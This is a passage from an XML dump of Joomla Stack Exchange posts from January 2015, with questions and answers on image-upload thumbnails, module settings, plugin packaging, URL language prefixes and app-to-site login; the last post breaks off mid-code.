  <row Id="7265" PostTypeId="1" CreationDate="2015-01-27T10:58:38.910" Score="0" ViewCount="211" Body="&lt;p&gt;I create a &lt;strong&gt;form&lt;/strong&gt; which contain one &lt;strong&gt;image-array(name=&quot;image[]&quot;,type=&quot;file&quot;)&lt;/strong&gt; to &lt;strong&gt;upload multiple images&lt;/strong&gt;.And when user click on save button &lt;strong&gt;image&lt;/strong&gt; is &lt;strong&gt;save&lt;/strong&gt; in &lt;strong&gt;destination folder&lt;/strong&gt; and &lt;strong&gt;with&lt;/strong&gt; that &lt;strong&gt;thumbnail is create&lt;/strong&gt; and it is &lt;strong&gt;save&lt;/strong&gt; at &lt;strong&gt;its destination&lt;/strong&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;strong&gt;local side&lt;/strong&gt; everything is &lt;strong&gt;alright&lt;/strong&gt; but when I upload it &lt;strong&gt;on server image is save in its destination&lt;/strong&gt; but the &lt;strong&gt;thumbnails is not transfer to its destination folder&lt;/strong&gt;.also &lt;strong&gt;folder&lt;/strong&gt; for thumbnail is &lt;strong&gt;not create on server side&lt;/strong&gt;.where on &lt;strong&gt;local-side&lt;/strong&gt; folder is also &lt;strong&gt;create&lt;/strong&gt; for thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* code for making thumbnails and upload it */&#xA;&#xA;$fileName = $file[$fieldname]['name'][$i];&#xA;&#xA;// $fileName    = preg_replace(&quot;/[^A-Za-z0-9._]/&quot;, &quot;&quot;,$fileName);&#xA;&#xA;$fileTemp   = $file[$fieldname]['tmp_name'][$i];&#xA;$dest = JPATH_ROOT . &quot;\\&quot;.&quot;images&quot;.&quot;\\&quot;.&quot;machines&quot;.&quot;\\&quot;.&quot;machines&quot;.&quot;\\&quot;.$fileName;&#xA;&#xA;$dest2 = JPATH_ROOT . &quot;\\&quot;.&quot;images&quot;.&quot;\\&quot;.&quot;machines&quot;.&quot;\\&quot;.&quot;thumbnails&quot;.&quot;\\&quot;.$fileName;&#xA;&#xA;$dest3 = JPATH_ROOT . &quot;\\&quot;.&quot;images&quot;.&quot;\\&quot;.&quot;machines&quot;.&quot;\\&quot;.&quot;thumbnails&quot;;&#xA;&#xA;$dest3=str_replace(&quot;/&quot;,&quot;\\&quot;,$dest3);&#xA;&#xA;$dest=str_replace(&quot;\\administrator/components/com_machine&quot;,null,$dest); //for image upload&#xA;&#xA;$dest2=str_replace(&quot;\\administrator/components/com_machine&quot;,null,$dest2); // for  thumbnail creation&#xA;$dest=str_replace(&quot;/&quot;,&quot;\\&quot;,$dest);&#xA;$dest2=str_replace(&quot;/&quot;,&quot;\\&quot;,$dest2);&#xA;&#xA;$filePath   =$dest;&#xA;$filePath2  =$dest2;&#xA;&#xA;//Check for allowed extensions&#xA;$uploadedFileNameParts  = explode('.',$fileName);&#xA;$uploadedFileExtension  = array_pop($uploadedFileNameParts);&#xA;$uploadedFileExtension  = strtolower($uploadedFileExtension);&#xA;$validFileExts          = explode(',', 'jpeg,jpg,png,gif');&#xA;&#xA;    //assume the extension is false until we know its ok&#xA;    $extOk = false;&#xA;&#xA;    //go through every ok extension, if the ok extension matches the file extension (case insensitive)&#xA;    //then the file extension is ok&#xA;    foreach($validFileExts as $key =&amp;gt; $value){&#xA;        if(preg_match(&quot;/$value/i&quot;, $uploadedFileExtension )){&#xA;            $extOk          = true;&#xA;            $fileExtension  = $value;&#xA;        }&#xA;    }&#xA;&#xA;&#xA;    // Check if acceptable extension&#xA;    if($extOk == false){&#xA;         $info['error'] = 1;&#xA;         $info['msg']   = JText::_('Not acceptable image extension');&#xA;&#xA;        return $info;&#xA;    }&#xA;&#xA;&#xA;&#xA;    if($fileName){&#xA;        // Try to upload file&#xA;        if(JFile::upload($fileTemp, $filePath)){&#xA;        //  JFile::upload($newimage, $dest2);&#xA;&#xA;&#xA;         //------------------thumbnail creation----------------&#xA;            $n_width=100; &#xA;            $n_height=100; &#xA;&#xA;&#xA;&#xA;                     if(!is_dir($dest3))&#xA;                    {&#xA;                           mkdir($dest3);&#xA;                           chmod($dest3,0666);&#xA;                    } &#xA;&#xA;            //image creation&#xA;            if($file[$fieldname]['type'][$i]==&quot;image/gif&quot;)&#xA;                { &#xA;                $im=imagecreatefromgif(&quot;{$dest}&quot;);&#xA;                $width=imagesx($im); // Original picture width is stored&#xA;                $height=imagesy($im); // Original picture height is stored&#xA;                $n_height=($n_width/$width) * $height; // Add this line to maintain aspect ratio&#xA;                $newimage=imagecreatetruecolor($n_width,$n_height);&#xA;                imagecopyresized($newimage,$im,0,0,0,0,$n_width,$n_height,$width,$height);&#xA;                if (function_exists(&quot;imagegif&quot;)) {&#xA;                header(&quot;Content-type: image/gif&quot;);&#xA;                imagegif($newimage,&quot;{$dest2}&quot;);&#xA;                chmod($dest2,0666);&#xA;                //move_uploaded_file($newimage,$dest2);&#xA;&#xA;                }&#xA;&#xA;                elseif (function_exists(&quot;imagejpeg&quot;)) {&#xA;                    header(&quot;Content-type: image/jpeg&quot;);&#xA;                    imagejpeg($newimage,&quot;{$dest2}&quot;);&#xA;&#xA;                    chmod($dest2,0666);&#xA;                    }&#xA;                    }////////// end of gif file thumb nail creation//////////&#xA;&#xA;            ////////////// starting of JPG thumb nail creation//////////&#xA;            //echo $dest2;&#xA;                    if($file[$fieldname]['type'][$i]==&quot;image/jpeg&quot;){&#xA;                    $im=imagecreatefromjpeg(&quot;{$dest}&quot;); &#xA;                    $width=imagesx($im); // Original picture width is stored&#xA;                    $height=imagesy($im); // Original picture height is stored&#xA;                    $n_height=($n_width/$width) * $height; // Add this line to maintain aspect ratio&#xA;                    $newimage=imagecreatetruecolor($n_width,$n_height); &#xA;                    imagecopyresized($newimage,$im,0,0,0,0,$n_width,$n_height,$width,$height);&#xA;&#xA;                    imagejpeg($newimage,&quot;{$dest2}&quot;);&#xA;                    chmod($dest2,0666);&#xA;                //  move_uploaded_file($newimage,$dest2);&#xA;                    }&#xA;&#xA;                    if($file[$fieldname]['type'][$i]==&quot;image/png&quot;){&#xA;                    $im=imagecreatefrompng(&quot;{$dest}&quot;); &#xA;                    $width=imagesx($im); // Original picture width is stored&#xA;                    $height=imagesy($im); // Original picture height is stored&#xA;                    $n_height=($n_width/$width) * $height; // Add this line to maintain aspect ratio&#xA;                    $newimage=imagecreatetruecolor($n_width,$n_height); &#xA;                    imagecopyresized($newimage,$im,0,0,0,0,$n_width,$n_height,$width,$height);&#xA;&#xA;                    imagepng($newimage,&quot;{$dest2}&quot;);&#xA;                    chmod($dest2,0666);&#xA;                //  move_uploaded_file($newimage,$dest2);&#xA;                    }&#xA;                //  move_uploaded_file($newimage,&quot;$dest2&quot;);&#xA;&#xA;                //  exit;    &#xA;            //------------------end thumbnail creation--------------&#xA;&#xA;&#xA;            //JFile::upload($newimage, $dest3);&#xA;&#xA;&#xA;            $info['error']  = 0;&#xA;            $info['msg']    = JText::_('record saved');&#xA;&#xA;            return $info;&#xA;        } &#xA;    } else {&#xA;        $info['error']  = 1;&#xA;        $info['msg']    = JText::_('No image selected to upload');&#xA;&#xA;        return $info;&#xA;    }   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="126" LastEditDate="2016-01-21T23:38:24.380" LastActivityDate="2016-01-21T23:38:24.380" Title="Thumbnail image is not transferred into another folder" Tags="|joomla-3.x|administrator|file-upload|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7266" PostTypeId="2" ParentId="7253" CreationDate="2015-01-27T10:58:59.163" Score="0" Body="&lt;p&gt;Your fallback needs to go after the default state, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foliopage {&#xA;    background: rgba(255,255,255,0.7); // transparent white&#xA;    background: #fff; // Left as a fallback for older browsers&#xA;    color: #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-27T10:58:59.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7267" PostTypeId="1" AcceptedAnswerId="7268" CreationDate="2015-01-27T11:11:03.927" Score="0" ViewCount="112" Body="&lt;p&gt;I have written a component that outputs a list in ul format.  Currently the UL is built with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;dropdown-menu&quot; role=&quot;menu&quot; aria-labelledby=&quot;dropdownMenu1&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php if ($item-&amp;gt;latest_issue == '0') echo &#xA;            &quot;&amp;lt;li role='presentation'&amp;gt;&amp;lt;a role='menuitem' tabindex='-1' href='&quot; . $item-&amp;gt;reader_url . &quot;' target='_blank'&amp;gt;&quot; . $item-&amp;gt;issue_date . &quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot; ;?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem with this is that if an item is Unpublished, it still shows in this list. Any ideas where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-01-29T15:08:08.700" Title="Only display Published items in &lt;li&gt;" Tags="|component|php|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostTypeId="2" ParentId="7267" CreationDate="2015-01-27T11:17:52.710" Score="1" Body="&lt;p&gt;You could use a simply check to ensure the &lt;code&gt;state&lt;/code&gt; isn't &lt;code&gt;0&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;state != 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So your code would be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;dropdown-menu&amp;quot; role=&amp;quot;menu&amp;quot; aria-labelledby=&amp;quot;dropdownMenu1&amp;quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php if ($item-&amp;gt;latest_issue == '0' &amp;amp;&amp;amp; $item-&amp;gt;state != 0) echo &#xA;            &amp;quot;&amp;lt;li role='presentation'&amp;gt;&amp;lt;a role='menuitem' tabindex='-1' href='&amp;quot; . $item-&amp;gt;reader_url . &amp;quot;' target='_blank'&amp;gt;&amp;quot; . $item-&amp;gt;issue_date . &amp;quot;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;quot; ;?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is my version of your code which is prettified a little more. Always be sure to use &lt;code&gt;: &amp;gt;&amp;gt; endif&lt;/code&gt; or &lt;code&gt;{ &amp;gt;&amp;gt; }&lt;/code&gt; for you conditional statements. I know you don't have to but when it comes down to debugging, it makes life so much easier:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&amp;quot;dropdown-menu&amp;quot; role=&amp;quot;menu&amp;quot; aria-labelledby=&amp;quot;dropdownMenu1&amp;quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php if ($item-&amp;gt;latest_issue == '0' &amp;amp;&amp;amp; $item-&amp;gt;state != 0) : ?&amp;gt;&#xA;            &amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;gt;&#xA;                &amp;lt;a role=&amp;quot;menuitem&amp;quot; tabindex=&amp;quot;-1&amp;quot; href=&amp;quot;&amp;lt;?php echo $item-&amp;gt;reader_url; ?&amp;gt;&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;issue_date; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;The ordering will be done in your model/database query like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;order($db-&amp;gt;quoteName('id') . ' ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-01-29T15:08:08.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostTypeId="2" ParentId="7265" CreationDate="2015-01-27T11:41:54.960" Score="1" Body="&lt;p&gt;I can see why it may not work on a different hosting environment. Your paths are being destroyed with &lt;code&gt;str_replace&lt;/code&gt; etc. Keep things simple like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dest  = JPATH_ROOT . '/images/machines/machines/' . $fileName;&#xA;$dest2 = JPATH_ROOT . '/images/machines/thumbnails/' . $fileName;    &#xA;$dest3 = JPATH_ROOT . '/images/machines/thumbnails&quot;;&#xA;&#xA;JFile::upload($fileTemp, $dest);&#xA;JFile::upload($newimage, $dest2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-27T11:41:54.960" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7271" PostTypeId="2" ParentId="6959" CreationDate="2015-01-27T12:11:04.667" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to 'use' the results of the module within the override?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I do not think that it is possible. &lt;code&gt;featured/default.php&lt;/code&gt; and module are in the same execution cycle so you can not pass module results to the request and then use it in &lt;code&gt;featured/default.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-27T12:11:04.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7272" PostTypeId="2" ParentId="5413" CreationDate="2015-01-27T12:16:09.010" Score="2" Body="&lt;p&gt;Sorry that answering on so old question, but just wanted to say that there is no built-in way to make it. You should consider to create your own field type and implement the logic there.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-27T12:16:09.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7273" PostTypeId="1" AcceptedAnswerId="7274" CreationDate="2015-01-27T13:13:22.457" Score="0" ViewCount="640" Body="&lt;p&gt;I have written a small and simple bootstrap carousel module. Articles having a specific category will be shown in this module. I'm wondering how to add a dropdown list in the admin panel to select another category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the image below. I'd like to add a dropdown of all categories there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/URhP7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3588" LastEditorUserId="1629" LastEditDate="2015-01-27T15:04:53.880" LastActivityDate="2015-01-27T15:04:53.880" Title="Create a dropdown list in the admin panel for a module" Tags="|module|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7274" PostTypeId="2" ParentId="7273" CreationDate="2015-01-27T13:16:50.077" Score="0" Body="&lt;p&gt;In your module XML file, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;mycategory&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; description=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;type=&quot;category&quot;&lt;/code&gt; is one of the default Joomla form fields that will pull all categories from the extension you specify, which in the case above, will pull them from &lt;code&gt;extension=&quot;com_content&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-27T13:16:50.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7275" PostTypeId="1" CreationDate="2015-01-27T13:46:52.857" Score="2" ViewCount="987" Body="&lt;p&gt;The mobile App has been designed by myself (easy to manipulate). However, the website was designed by an outsourced developer (Joomla) and he is not available anymore. What I need to add is link the website to the mobile App such that the user can navigate to the website from the mobile App (and not the opposite) without being prompted to insert username and password again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both App and website linked to different DB's, however, they have identical usernames and passwords for each user. I can store the credentials in local variable storage and pass them to the website to validate them and then (somehow at the backend) allow the user to navigate directly to his home page in the website without going through login page. What I understand is that the website using the default Joomla login. But since I'm totally new to Joomla, I do not know where to start and where login process actually happens and if it is possible to amend it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system security requirement is very low and I'm free to bypass any complications as long as the user can see his profile in the website and not someone else's profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the following threads:&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5225/facebook-login-tell-joomla-to-login&quot;&gt;Facebook Login - Tell joomla to login&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2402/what-is-the-url-for-user-login-aka-how-to-hide-the-login-form&quot;&gt;What is the URL for user login (aka How to hide the login form?)&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4149/logging-in-user-without-getting-password-from-them&quot;&gt;Logging in user without getting password from them&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4820/single-sign-on-sso-joomla-with-other-system&quot;&gt;Single Sign On (SSO) Joomla with other System&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the first, is this possible using the default joomla login or you recommend using other plugins that are easier (specially for beginner Joomla user).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case default login is recommended, what is the logic of using it? (how to send the credentials to joomla, and how joomla is going to receive them and navigate the user directly to the home page)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case default login is not recommended, what plugins you recommend to use that require minimum manipulation (I'm very beginner in Joomla) and what is the logic should be followed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt; the username and the password are &lt;strong&gt;NOT encrypted&lt;/strong&gt;, and security is not important here. &lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-02-05T05:57:01.930" Title="Login automatically from mobile App to website without need to re-insert credentials" Tags="|joomla-2.5|component|php|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7276" PostTypeId="1" CreationDate="2015-01-27T13:59:37.313" Score="3" ViewCount="1193" Body="&lt;p&gt;I'm trying to build a dynamic &quot;gallery&quot; for categories/articles on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, there will be 3 dropdown menus at the top: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Refine By:  COUNTRY | HOLIDAY | LOCATION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and each one will have a number of options.  Depending on the options the results will be shown as article thumbs underneath, 4 across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b0oU1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked around for a good module plugin to use but unbelievably I can only find one that fits my exact requirements.  I clearly can't be loooking hard enough, so can anyone advise on a good plugin?&lt;/p&gt;&#xA;" OwnerUserId="3589" LastActivityDate="2018-01-22T11:51:43.753" Title="Dynamic article filter" Tags="|plugin|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7277" PostTypeId="1" AcceptedAnswerId="8721" CreationDate="2015-01-27T14:20:05.590" Score="2" ViewCount="628" Body="&lt;p&gt;I am using Joomla 1.5 and Virtuemart 1. With the order confirmation e-mail sent to the seller, is it possible to not show attributes that have the default option selected? (not changed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example an attribute would be &quot;Extra Toppings&quot; and values would be &quot;-, peppers, extra cheese, pepperoni...&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the default value, in the example shown above - &quot;-&quot; - is selected, can I stop the attribute from appearing on the confirmation e-mail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Check attached picture for example of attributes.&lt;img src=&quot;https://i.stack.imgur.com/qKCWh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3544" LastEditorUserId="3544" LastEditDate="2015-02-19T14:14:15.687" LastActivityDate="2015-02-20T16:06:58.880" Title="Customising the Virtuemart confirmation e-mail?" Tags="|php|virtuemart|joomla-1.5|emails|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7278" PostTypeId="1" AcceptedAnswerId="7279" CreationDate="2015-01-27T15:02:43.180" Score="1" ViewCount="264" Body="&lt;p&gt;I have two plugins and i need to package them together. Is there a way to make a script to install two plugins at once? And auto publish only one of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script works to one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($route, JAdapterInstance $adapter)&#xA;{&#xA;    // We only need to perform this if the extension is being installed, not updated.&#xA;    if ( $route == 'install' ) &#xA;    {    &#xA;        // Get a database object.   &#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('enabled') . ' = ' . (int) 1&#xA;        );&#xA;&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote('plugin_name'), &#xA;            $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote('plugin_group')&#xA;        );&#xA;&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;        // Set the query and load the result.&#xA;        $db-&amp;gt;setQuery($query);   &#xA;        $result = $db-&amp;gt;query();    &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-01-27T17:04:41.193" Title="Is there a way to make a script to install two plugins at once" Tags="|joomla-3.x|installation|packaging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7279" PostTypeId="2" ParentId="7278" CreationDate="2015-01-27T15:12:58.580" Score="2" Body="&lt;p&gt;You don't need to use the &lt;em&gt;install.php&lt;/em&gt; to install separate plugins. For this, you can simply use your XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly, make sure you define the type of extension as a package like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;package&quot; version=&quot;3.3&quot; method&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, add the following to your XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;packages&quot;&amp;gt;&#xA;   &amp;lt;file type=&quot;plugin&quot; id=&quot;helloworld&quot; group=&quot;system&quot;&amp;gt;plg_sys_helloworld.zip&amp;lt;/file&amp;gt;&#xA;   &amp;lt;file type=&quot;plugin&quot; id=&quot;helloworld2&quot; group=&quot;system&quot;&amp;gt;plg_sys_helloworld2.zip&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on this (&lt;em&gt;please read this&lt;/em&gt;), have a look at the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Package&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Package&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-27T15:12:58.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostTypeId="2" ParentId="7258" CreationDate="2015-01-27T15:47:55.637" Score="3" Body="&lt;pre&gt;&lt;code&gt;.navigation .nav-pills {&#xA;    /* add: */&#xA;    text-align: center;&#xA; }&#xA;.nav-tabs &amp;gt; li, .nav-pills &amp;gt; li{&#xA;    /* float: left; */&#xA;    display: inline-block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change the padding and margin on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.nav-tabs &amp;gt; li &amp;gt; a, .nav-pills &amp;gt; li &amp;gt; a{&#xA;   /* ... */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2015-01-27T15:47:55.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostTypeId="1" CreationDate="2015-01-27T16:42:59.727" Score="1" ViewCount="7118" Body="&lt;p&gt;After recovering joomla site from failed upgrade and from corrupt backup i at least got it to display something but now all my pages by default point to /index.php/en/ and because its pointing to &quot;en&quot; folder all my template images and site images not showing. It automatically fills in when trying to access website. Any idea how to remove /en/  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what i tried:&#xA;disabled language filter -- i get error 500&#xA;play around with url rewriting -- i get error 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My previous setup used to be like this:&#xA;/index.php?lang=en&lt;/p&gt;&#xA;" OwnerUserId="3591" LastActivityDate="2019-12-28T19:22:58.200" Title="How to remove en from my site urls?" Tags="|url|language|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7282" PostTypeId="2" ParentId="7278" CreationDate="2015-01-27T17:04:41.193" Score="1" Body="&lt;p&gt;Installing with package is most suitable in this case as @Lodder has suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in case you do not want to go ahead with package then there is an alternate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install this by using &lt;code&gt;JInstaller&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$installer =  new JInstaller();&#xA;$installer-&amp;gt;install($path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here &lt;code&gt;$path&lt;/code&gt; will contain the path of the another plugin which you want to install.&#xA;You can include the related plugin code in the same zip and provide that path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can add this code in the &lt;code&gt;postflight&lt;/code&gt; method of the plugin installation script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the plugin enable state, by default plugin will remain disable on installation.&#xA;And in case of plugin upgrade, previous state will be maintained.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-01-27T17:04:41.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostTypeId="2" ParentId="7281" CreationDate="2015-01-27T17:11:15.300" Score="0" Body="&lt;p&gt;I figured it out my self.&#xA;Switching to non friendly sef URLs fixed my problem. &#xA;You can do this from Global Configuration.&lt;/p&gt;&#xA;" OwnerUserId="3591" LastActivityDate="2015-01-27T17:11:15.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7284" PostTypeId="1" CreationDate="2015-01-27T17:16:52.453" Score="-1" ViewCount="744" Body="&lt;p&gt;I'm trying to get the Joomla User information into my PHP page.  You should note that my php code is on the same server, but not within the Joomla installation directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, here is my code samples of the important files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm calling a function that returns the Joomla User.  The file is called GetUserInfo.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;Function GetJoomUser() {&#xA;    if($_SERVER['SERVER_ADDR'] =='127.0.0.1') {&#xA;        $JRoot = $_SERVER['DOCUMENT_ROOT'] . &quot;CBBFL_2014&quot;; &#xA;    } else {&#xA;        $JRoot = $_SERVER['DOCUMENT_ROOT'] . &quot;/Joomla33&quot;;&#xA;    }&#xA;    define( '_JEXEC', 1 );&#xA;    define('JPATH_BASE', $JRoot );&#xA;    define('JPATH_ROOT', $JRoot );&#xA;    define( 'DS', DIRECTORY_SEPARATOR );&#xA;    $defines = $JRoot . &quot;/includes/defines.php&quot;;&#xA;    $framework = $JRoot . &quot;/includes/framework.php&quot;;&#xA;    require_once ($defines);&#xA;    require_once ($framework);&#xA;&#xA;    $mainframe = JFactory::getApplication('site');&#xA;    